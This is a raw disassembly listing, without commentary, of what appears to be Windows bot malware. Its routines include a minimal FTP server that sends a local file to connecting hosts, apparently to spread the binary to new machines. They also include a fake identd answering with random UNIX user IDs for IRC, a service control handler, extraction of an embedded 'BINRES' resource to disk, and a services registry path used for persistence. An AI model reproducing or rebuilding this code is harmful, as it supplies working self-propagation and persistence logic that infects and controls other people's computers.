arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41F030
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_437B30
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44965F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41F0B7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E8EAB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0B7: ; CODE XREF: sub_41F030+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41F0E7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E8EAB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0E7: ; CODE XREF: sub_41F030+93j
mov al, byte_4E8E54
test al, al
jz loc_41F750
push ebx
mov ebx, dword_511B14
push ebp
mov ebp, dword_511CA0
loc_41F102: ; CODE XREF: sub_41F030+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F11D
push 0FAh
jmp loc_41F73B
; ---------------------------------------------------------------------------
loc_41F11D: ; CODE XREF: sub_41F030+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F736
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F741
mov cl, byte_449DC8
test cl, cl
jz short loc_41F1CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44965F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_449968
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8085
call sub_401857
add esp, 28h
loc_41F1CF: ; CODE XREF: sub_41F030+14Ej
lea ecx, [esp+58h+arg_0]
call sub_40142E
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C71
push eax
call sub_4015F5
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014D3
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FDC
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; send
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; send
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401870
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016B8
push offset asc_445088 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445088 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445088 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445088 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445088 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445088 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call sub_5F74D1
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; send
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401AA0
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F695
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F695
push 2
push 0
push edi
nop
call near ptr 77C4139Ch
push edi
nop
call near ptr 77C41574h
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F5C0: ; CODE XREF: sub_41F030+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F613
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; send
cmp edi, 1000h
jz short loc_41F5C0
loc_41F613: ; CODE XREF: sub_41F030+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_449DC8
test cl, cl
mov eax, edx
jz short loc_41F67C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_449968
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8085
call sub_401857
add esp, 2Ch
loc_41F67C: ; CODE XREF: sub_41F030+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
call near ptr 77C40AB1h
nop
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F695: ; CODE XREF: sub_41F030+55Bj
; sub_41F030+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; send
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F736: ; CODE XREF: sub_41F030+109j
push 9C4h
loc_41F73B: ; CODE XREF: sub_41F030+E8j
nop
call near ptr 2830000h
loc_41F741: ; CODE XREF: sub_41F030+140j
mov al, byte_4E8E54
test al, al
jnz loc_41F102
pop ebp
pop ebx
loc_41F750: ; CODE XREF: sub_41F030+BEj
mov eax, [edi+15h]
push eax
call near ptr 71AB9639h
nop
loc_41F75A: ; CODE XREF: sub_41F030+82j
; sub_41F030+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41F030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F960 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F960
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F99D
mov byte_4E8EA9, 0
jmp loc_41FB01
; ---------------------------------------------------------------------------
loc_41F99D: ; CODE XREF: sub_41F960+2Fj
mov cl, byte_44928B
xor ebx, ebx
cmp cl, bl
mov byte_4E8EA9, 1
jnz loc_41FAF4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_402009
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41FAE7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_40142E
mov [esp+0A0h+var_4], ebx
call sub_401F0A
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 3
push offset byte_448F40
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015E1
cmp edi, ebx
jle short loc_41FA66
loc_41FA0A: ; CODE XREF: sub_41F960+104j
lea ecx, [esp+9Ch+var_60]
call sub_40142E
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FDC
call esi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_444E64
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41FA0A
loc_41FA66: ; CODE XREF: sub_41F960+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_401479
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017EE
push eax
push 71h
call esi ; rand
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
nop
call sub_5F74D1
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_511C9C
push ebp
call esi ; closesocket
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; closesocket
mov byte_4E8EA9, bl
pop edi
jmp short loc_41FAFE
; ---------------------------------------------------------------------------
loc_41FAE7: ; CODE XREF: sub_41F960+67j
push 7D0h
call near ptr 2830000h
nop
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F960+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_511C9C
loc_41FAFE: ; CODE XREF: sub_41F960+185j
push ebp
call esi ; closesocket
loc_41FB01: ; CODE XREF: sub_41F960+38j
; sub_41F960+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F960 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FB90 proc near ; CODE XREF: sub_401AD2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FBCB
dec eax
jz short loc_41FBB4
dec eax
jnz short loc_41FBF1
mov ecx, dword_50DB38
mov dword_50DB1C, 4
call sub_401DE3
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBB4: ; CODE XREF: sub_41FB90+8j
mov ecx, dword_50DB38
mov dword_50DB1C, 7
call sub_401028
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBCB: ; CODE XREF: sub_41FB90+5j
mov ecx, dword_50DB38
xor eax, eax
mov dword_50DB24, eax
mov dword_50DB1C, 1
mov dword_50DB2C, eax
mov dword_50DB30, eax
call sub_40174E
loc_41FBF1: ; CODE XREF: sub_41FB90+Bj
; sub_41FB90+22j ...
mov eax, dword_50DB3C
push offset dword_50DB18
push eax
mov dword_50DB1C, 4
nop
call near ptr 28E0606h
retn 4
sub_41FB90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC30: ; CODE XREF: ___:loc_401965j
push esi
xor esi, esi
push offset sub_401AD2
mov ecx, offset byte_44991F
mov dword_50DB18, 20h
mov dword_50DB1C, 2
mov dword_50DB20, 3
mov dword_50DB24, esi
mov dword_50DB28, esi
mov dword_50DB2C, esi
mov dword_50DB30, esi
call sub_4017EE
push eax
nop
call near ptr 28E0314h
cmp eax, esi
mov dword_50DB3C, eax
jz short loc_41FCAA
push offset dword_50DB18
push eax
mov dword_50DB1C, 4
mov dword_50DB2C, esi
mov dword_50DB30, esi
nop
call near ptr 28E0606h
loc_41FCAA: ; CODE XREF: ___:0041FC86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FCD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F068
mov eax, esi
pop esi
retn
sub_41FCD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD00 proc near ; CODE XREF: sub_401CF3j
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50DB38, ecx
push 100h
mov ecx, offset byte_44991F
call sub_4017EE
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401965
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 28E0000h
xor eax, eax
add esp, 110h
retn
sub_41FD00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FD80: ; CODE XREF: ___:00401C44j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FDA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDA2: ; CODE XREF: ___:0041FD9Aj
mov ecx, [esp+18h]
push ecx
call near ptr 2871C12h
nop
mov esi, eax
test esi, esi
jnz short loc_41FDB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDB9: ; CODE XREF: ___:0041FDB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 279037Eh
mov edi, eax
test edi, edi
jnz short loc_41FDDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDDC: ; CODE XREF: ___:0041FDD4j
push ebp
push edi
push esi
call near ptr 27A0000h
nop
push edi
push esi
mov ebp, eax
nop
call near ptr 27A04C7h
push ebp
mov esi, eax
call near ptr 27A087Ch
nop
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
nop
call near ptr 77C40AB1h
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40188Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41FE78
push esi
call near ptr 71AB4FD4h
nop
test eax, eax
jnz short loc_41FE71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FE71: ; CODE XREF: sub_41FE50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FE78: ; CODE XREF: sub_41FE50+Fj
pop esi
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE90 proc near ; CODE XREF: sub_401AA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FEAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEAE: ; CODE XREF: sub_41FE90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40188E
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FF0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF0A: ; CODE XREF: sub_41FE90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF50 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FF6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF6E: ; CODE XREF: sub_41FF50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FFC0
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FF50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FFF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420024
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_420027
loc_420024: ; CODE XREF: sub_41FFF0+14j
or eax, 0FFFFFFFFh
loc_420027: ; CODE XREF: sub_41FFF0+32j
pop esi
add esp, 10h
retn
sub_41FFF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420040 proc near ; CODE XREF: sub_402009j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_420076
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420076
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_420079
loc_420076: ; CODE XREF: sub_420040+8j
; sub_420040+1Aj
or eax, 0FFFFFFFFh
loc_420079: ; CODE XREF: sub_420040+34j
pop edi
pop esi
retn
sub_420040 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_420090 proc near ; CODE XREF: sub_401604j
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_437B30
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_4382BC
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4200C3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_4200C3: ; CODE XREF: sub_420090+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42018D
push ebx
mov ebx, dword_5117E0
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_4200E5: ; CODE XREF: sub_420090+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420177
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_4382B6
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420170
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_4382B0
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
dd 500D75C0h, 8CE89056h, 0C6023700h, 1132444h
; ---------------------------------------------------------------------------
loc_420170: ; CODE XREF: sub_420090+A2j
push esi
call near ptr 2830910h
nop
loc_420177: ; CODE XREF: sub_420090+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_4200E5
pop edi
pop esi
pop ebp
pop ebx
loc_42018D: ; CODE XREF: sub_420090+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_420090 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4201F0 proc near ; CODE XREF: sub_401A0Aj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4201F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401870
push eax
mov [esp+464h+var_4], 0
call sub_401EAB
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42036A
lea ecx, [esp+460h+var_43C]
call sub_40142E
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
